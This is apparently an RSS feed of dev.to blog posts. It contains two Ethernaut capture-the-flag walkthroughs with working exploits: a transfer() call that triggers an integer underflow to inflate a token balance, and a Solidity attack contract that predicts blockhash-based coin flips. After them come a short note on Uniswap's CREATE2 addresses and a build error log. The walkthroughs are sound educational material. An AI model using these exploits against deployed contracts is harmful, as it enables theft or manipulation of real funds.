&lt;p&gt;Link to play: &lt;a href="https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE"&gt;https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Challenge Analysis
&lt;/h2&gt;

&lt;p&gt;To have our balance increased normally, we would need someone to send us a new token or to withdraw it from somewhere. But it does not seem to be possible with this token.&lt;/p&gt;

&lt;p&gt;So our guess would be something about number overflow or underflow. The number overflow in Solidity can be really problematic.&lt;/p&gt;

&lt;p&gt;Let's say we do this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 115792089237316195423570985008687907853269984665640564039457584007913129639926
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What happened here? Why it is not &lt;code&gt;-10&lt;/code&gt; 😱😱😱 ?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Prior to the Solidity version &lt;code&gt;0.8.x&lt;/code&gt;, when a number in solidity goes above "max", it will roll back to "min" (overflow). And in the same manner, when a number goes below "min", it will roll to "max" (underflow). &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In the above case, &lt;code&gt;uint256&lt;/code&gt; consists of non-negative numbers from 

&lt;span class="katex-element"&gt;
  &lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;00 &lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;
 (min) to 
&lt;span class="katex-element"&gt;
  &lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;2256−12^{256} - 1 &lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;2&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mtight"&gt;256&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;
 (max). &lt;/p&gt;

&lt;p&gt;And when it goes down below 0, it becomes the max number. So we get the result of &lt;code&gt;max - 10&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;For example,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;
&lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;&lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;&lt;span class="n"&gt;max_uint256&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; true
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One simple way to protect overflow is using &lt;a href="https://docs.openzeppelin.com/contracts/2.x/api/math"&gt;SafeMath&lt;/a&gt;. However, since the &lt;a href="https://docs.soliditylang.org/en/v0.8.0/080-breaking-changes.html#:~:text=Arithmetic%20operations%20revert%20on%20underflow%20and%20overflow."&gt;version 0.8.x&lt;/a&gt;, the overflow/underflow protection has already been built-in.  &lt;/p&gt;

&lt;p&gt;Read more about overflow and underflow: &lt;a href="https://ethereum-blockchain-developer.com/010-solidity-basics/03-integer-overflow-underflow/"&gt;https://ethereum-blockchain-developer.com/010-solidity-basics/03-integer-overflow-underflow/&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Solving the challenge
&lt;/h2&gt;

&lt;p&gt;So we would take a look at the code to see if there is any unprotected underflow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see the &lt;code&gt;require&lt;/code&gt; line looks like something we can exploit. What if we make &lt;code&gt;balances[msg.sender] - _value&lt;/code&gt; goes lower zero? This would roll the number back to max and pass the &lt;code&gt;require&lt;/code&gt; condition.&lt;/p&gt;

&lt;p&gt;Then on the next line &lt;code&gt;balances[msg.sender] -= _value;&lt;/code&gt; our balance will go underflow and become max as well. &lt;/p&gt;




&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;Same as before, it is recommended for you to try first before going forward. &lt;/p&gt;

&lt;p&gt;The solution is pretty straightforward, if we want to have max balance possible, we need to make our balance become &lt;code&gt;-1&lt;/code&gt;. And we start with 20, so we would want to transfer out 21.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Put this in the browser console&lt;/span&gt;

&lt;span class="c1"&gt;// Any other address is ok&lt;/span&gt;
&lt;span class="nx"&gt;sendToAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;

&lt;span class="c1"&gt;// In case we want any balance increased, any number more than 20 is good already.&lt;/span&gt;
&lt;span class="nx"&gt;sendAmount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;

&lt;span class="c1"&gt;// call the transfer function with our evil params 😈&lt;/span&gt;
&lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sendToAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sendAmount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And...... Bam, now we are really rich! 🤑🤑🤑&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KHhOa2TD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9i82azs9196k63hihejk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KHhOa2TD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9i82azs9196k63hihejk.png" alt="done" width="880" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's it! Feel free to share if you have any ideas or suggestions. &lt;/p&gt;




&lt;p&gt;Photo by &lt;a href="https://unsplash.com/@vinikhill?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;NIKHIL KESHARWANI&lt;/a&gt; on &lt;a href="https://unsplash.com/s/photos/hack?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Unsplash&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>web3</category>
    </item>
    <item>
      <title>Daily Ethernaut Challenge - #3 CoinFlip</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Wed, 03 Nov 2021 14:20:55 +0000</pubDate>
      <link>https://dev.to/turboza/daily-ethernaut-challenge-3-coinflip-4p1c</link>
      <guid>https://dev.to/turboza/daily-ethernaut-challenge-3-coinflip-4p1c</guid>
      <description>&lt;h2&gt;
  
  
  Why do I play this?
&lt;/h2&gt;

&lt;p&gt;As I am looking for a way to learn Solidity faster and more fun, I happened to find &lt;a href="https://ethernaut.openzeppelin.com" rel="noopener noreferrer"&gt;Ethernaut&lt;/a&gt; made by &lt;a href="https://twitter.com/the_ethernaut" rel="noopener noreferrer"&gt;@the_ethernaut&lt;/a&gt; and maintained by &lt;a href="https://openzeppelin.com/" rel="noopener noreferrer"&gt;Openzeppelin&lt;/a&gt; team. &lt;/p&gt;

&lt;p&gt;The concept is like the hacking game where we need to inspect and exploit the contract to achieve the given objective. So we would get to have hands-on learning experiences as well. ❤️&lt;/p&gt;




&lt;h2&gt;
  
  
  Let's talk about the challenge
&lt;/h2&gt;

&lt;p&gt;Today's challenge is #3 CoinFlip (Difficulty: 3/10). It is the contract that lets us guess the coin flip result. We have to magically guess it right 10 times consecutively. &lt;/p&gt;

&lt;p&gt;Ok... it is SO EASY, the chance is as much as 0.1% for success. 😂&lt;/p&gt;

&lt;p&gt;Link to play:&lt;br&gt;
&lt;a href="https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f" rel="noopener noreferrer"&gt;https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Challenge Analysis
&lt;/h2&gt;

&lt;p&gt;This challenge demonstrates the simple security vulnerability of generating a random number. Generating random numbers is one of the most challenging problems to solve (alone).&lt;/p&gt;

&lt;p&gt;The approach they took is to use the fixed seed factor to apply to the block hash, then get the side as below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;There is a flaw in generating a random number&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flaw is that this way of generating a random number is deterministic, anyone can reproduce the process and get the same number. As long as we can access the same block hash, it is guaranteed to reach the same result.&lt;/p&gt;




&lt;h2&gt;
  
  
  Solving the Challenge
&lt;/h2&gt;

&lt;p&gt;To reach the solution, we need to answer some of these challenges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. How can we pre-generate the random result?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One way is to create a smart contract to retrieve the same block hash, then calculate and guess the result in one go. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. How can we get to 10 consecutive wins?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CoinFlip contract in the challenge prevents us from doing multiple flips in the same block, so doing 10 flips in one go is not possible.&lt;/p&gt;

&lt;p&gt;A brilliant idea I came up with is to manually submit the guess 10 times with my hand (ouch 😂). Please let me know if there is an easier way.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. How can we call another contract from the solidity?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We can use the interface to call the target contract to execute the guessing instead. &lt;/p&gt;

&lt;p&gt;Sample:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface ICounter {
    function count() external view returns (uint);
}

contract Interaction {
    address counterAddr;

    function getCount() external view returns (uint) {
        return ICounter(counterAddr).count();
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ref: &lt;a href="https://www.quicknode.com/guides/solidity/how-to-call-another-smart-contract-from-your-solidity-code" rel="noopener noreferrer"&gt;https://www.quicknode.com/guides/solidity/how-to-call-another-smart-contract-from-your-solidity-code&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;Maybe you want to try to solve it yourself. But if you want to see how I solve it, here you are.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: GPL-3.0

pragma solidity &amp;gt;=0.7.0 &amp;lt;0.9.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

// Create an interface to call the target
interface ICoinFlip {
      function flip(bool _guess) external returns (bool);
}

contract HackCoinFlip {
    using SafeMath for uint256;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function flip() public returns (bool) {
        // Just copy the code from the target contract to reproduce the random number generation :)
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        // Change to your instance address
        ICoinFlip(COIN_FLIP_CONTRACT_ADDRESS).flip(side);

        return side;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I deployed the contract in &lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;Remix&lt;/a&gt;, then did manual work to call the function 10 times. And... done! (Don't forget to change the environment to Injected Web3 to match the Rinkeby network).&lt;/p&gt;

&lt;p&gt;Sometimes the contract would fail if I did too frequently because they went into the same block and were rejected. &lt;/p&gt;

&lt;p&gt;And to debug the result, I went back to the Ethernaut console to check the result. It is reaching 10, yay!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln594iom18sqielo4vvx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln594iom18sqielo4vvx.png" alt="Debugging"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And that's it. Thank you for reading and feel free to share how you solve it differently (or same) and discuss :)&lt;/p&gt;




&lt;p&gt;Cover Photo by &lt;a href="https://unsplash.com/@yirage?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText" rel="noopener noreferrer"&gt;Andriyko Podilnyk&lt;/a&gt; on &lt;a href="https://unsplash.com/s/photos/coin-flip?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText" rel="noopener noreferrer"&gt;Unsplash&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>openzeppelin</category>
      <category>security</category>
      <category>ethernaut</category>
    </item>
    <item>
      <title>How Uniswap deployed contract to the same address?</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Tue, 20 Jul 2021 17:20:26 +0000</pubDate>
      <link>https://dev.to/turboza/how-uniswap-deployed-contract-to-the-same-address-6me</link>
      <guid>https://dev.to/turboza/how-uniswap-deployed-contract-to-the-same-address-6me</guid>
      <description>&lt;h2&gt;
  
  
  The contract address is not random?
&lt;/h2&gt;

&lt;p&gt;I thought all the Ethereum-based contract address was random, just like how we access the wallet from the randomized private key.&lt;/p&gt;

&lt;p&gt;Until I found interesting notes from Uniswap v2 Docs.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The &lt;a href="https://uniswap.org/docs/v2/smart-contracts/router02/#address"&gt;Uniswap V2 router address&lt;/a&gt; is &lt;code&gt;0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D&lt;/code&gt; for all networks. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Moreover, &lt;a href="https://uniswap.org/docs/v2/smart-contract-integration/getting-pair-addresses/#create2"&gt;Uniswap LP token address&lt;/a&gt; can be deterministicly computed offline. &lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Wow, These are such a nice dev experience ✨. So I want to explore how they do it. &lt;/p&gt;




&lt;h3&gt;
  
  
  1. Deploying same contract address to all networks
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;The address for an Ethereum contract is deterministically computed from the address of its creator (&lt;strong&gt;sender&lt;/strong&gt;) and how many transactions the creator has sent (&lt;strong&gt;nonce&lt;/strong&gt;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So one simple way is to use the same wallet (address) to deploy all networks, and deploy with the first transaction of the wallet, so nonce will be the same. 🎉&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But why?&lt;/strong&gt;: I think this is quite convenient for the testnet development. The developers have no more need to google for the different testnet address, or make the config handle different addresses.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Deploying a pair of tokens LP to the same address.
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;A new opcode, &lt;code&gt;CREATE2&lt;/code&gt; was added in &lt;a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1014.md"&gt;EIP-1014&lt;/a&gt; that is another way that a contract can be created. For contract created by &lt;code&gt;CREATE2&lt;/code&gt; its address will be:&lt;br&gt;
&lt;code&gt;keccak256( 0xff ++ senderAddress ++ salt ++ keccak256(init_code))[12:]&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Considering variable params needed...&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;init_code&lt;/code&gt; is a byte code from the deployed contract &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;salt&lt;/code&gt; is something which can be changed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So Uniswap utilized &lt;code&gt;salt&lt;/code&gt; to be a hash of &lt;code&gt;token0&lt;/code&gt; and &lt;code&gt;token1&lt;/code&gt; addresses. That's why it is always deterministic. 🎉&lt;/p&gt;

&lt;p&gt;Which I think this is also helpful to Uniswap to avoid having a duplicate LP for the same pair of tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But why?&lt;/strong&gt;: This is quite useful to get the information of each LP without looking up LP address. We just need the addresses of 2 tokens, then compute the LP address to retrieve the information right away.&lt;/p&gt;




&lt;p&gt;Thanks to a nice summary from: &lt;a href="https://ethereum.stackexchange.com/a/761/76945"&gt;https://ethereum.stackexchange.com/a/761/76945&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>uniswap</category>
    </item>
    <item>
      <title>Issue installing cargo-generate</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Thu, 13 May 2021 02:16:54 +0000</pubDate>
      <link>https://dev.to/turboza/issue-installing-cargo-generate-4j1p</link>
      <guid>https://dev.to/turboza/issue-installing-cargo-generate-4j1p</guid>
      <description>&lt;h2&gt;
  
  
  Problem 1: &lt;code&gt;libgit2&lt;/code&gt; missing
&lt;/h2&gt;

&lt;p&gt;I tried to install &lt;code&gt;cargo-generate&lt;/code&gt;. My current machine is MacOS BigSur 11.3 Beta.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo &lt;span class="nb"&gt;install &lt;/span&gt;cargo-generate &lt;span class="nt"&gt;--features&lt;/span&gt; vendored-openssl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;somehow I got an error related to &lt;code&gt;libgit2&lt;/code&gt; and it confused me.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fatal: not a git repository &lt;span class="o"&gt;(&lt;/span&gt;or any of the parent directories&lt;span class="o"&gt;)&lt;/span&gt;: .git


  error occurred: Command &lt;span class="s2"&gt;"cc"&lt;/span&gt; &lt;span class="s2"&gt;"-O3"&lt;/span&gt; &lt;span class="s2"&gt;"-ffunction-sections"&lt;/span&gt; &lt;span class="s2"&gt;"-fdata-sections"&lt;/span&gt; &lt;span class="s2"&gt;"-fPIC"&lt;/span&gt; &lt;span class="s2"&gt;"-m64"&lt;/span&gt; &lt;span class="s2"&gt;"-arch"&lt;/span&gt; &lt;span class="s2"&gt;"x86_64"&lt;/span&gt; &lt;span class="s2"&gt;"-I"&lt;/span&gt; &lt;span class="s2"&gt;"/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libgit2-sys-1319684400f5f70f/out/include"&lt;/span&gt; &lt;span class="s2"&gt;"-I"&lt;/span&gt; &lt;span class="s2"&gt;"libgit2/src"&lt;/span&gt; &lt;span class="s2"&gt;"-I"&lt;/span&gt; &lt;span class="s2"&gt;"libgit2/deps/http-parser"&lt;/span&gt; &lt;span class="s2"&gt;"-I"&lt;/span&gt; &lt;span class="s2"&gt;"libgit2/deps/pcre"&lt;/span&gt; &lt;span class="s2"&gt;"-I"&lt;/span&gt; &lt;span class="s2"&gt;"/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libssh2-sys-4c230072710e2672/out/include"&lt;/span&gt; &lt;span class="s2"&gt;"-fvisibility=hidden"&lt;/span&gt; &lt;span class="s2"&gt;"-DGIT_REGEX_BUILTIN=1"&lt;/span&gt; &lt;span class="s2"&gt;"-DHAVE_STDINT_H=1"&lt;/span&gt; &lt;span class="s2"&gt;"-DHAVE_MEMMOVE=1"&lt;/span&gt; &lt;span class="s2"&gt;"-DNO_RECURSE=1"&lt;/span&gt; &lt;span class="s2"&gt;"-DNEWLINE=10"&lt;/span&gt; &lt;span class="s2"&gt;"-DPOSIX_MALLOC_THRESHOLD=10"&lt;/span&gt; &lt;span class="s2"&gt;"-DLINK_SIZE=2"&lt;/span&gt; &lt;span class="s2"&gt;"-DPARENS_NEST_LIMIT=250"&lt;/span&gt; &lt;span class="s2"&gt;"-DMATCH_LIMIT=10000000"&lt;/span&gt; &lt;span class="s2"&gt;"-DMATCH_LIMIT_RECURSION=MATCH_LIMIT"&lt;/span&gt; &lt;span class="s2"&gt;"-DMAX_NAME_SIZE=32"&lt;/span&gt; &lt;span class="s2"&gt;"-DMAX_NAME_COUNT=10000"&lt;/span&gt; &lt;span class="s2"&gt;"-DSHA1DC_NO_STANDARD_INCLUDES=1"&lt;/span&gt; &lt;span class="s2"&gt;"-DSHA1DC_CUSTOM_INCLUDE_SHA1_C=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;common.h&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"-DSHA1DC_CUSTOM_INCLUDE_UBC_CHECK_C=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;common.h&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"-o"&lt;/span&gt; &lt;span class="s2"&gt;"/var/folders/70/91y0tylx71x1wjv_275y8x8c0000gn/T/cargo-install6KpOP3/release/build/libgit2-sys-1319684400f5f70f/out/build/libgit2/src/streams/stransport.o"&lt;/span&gt; &lt;span class="s2"&gt;"-c"&lt;/span&gt; &lt;span class="s2"&gt;"libgit2/src/streams/stransport.c"&lt;/span&gt; with args &lt;span class="s2"&gt;"cc"&lt;/span&gt; did not execute successfully &lt;span class="o"&gt;(&lt;/span&gt;status code &lt;span class="nb"&gt;exit &lt;/span&gt;code: 1&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
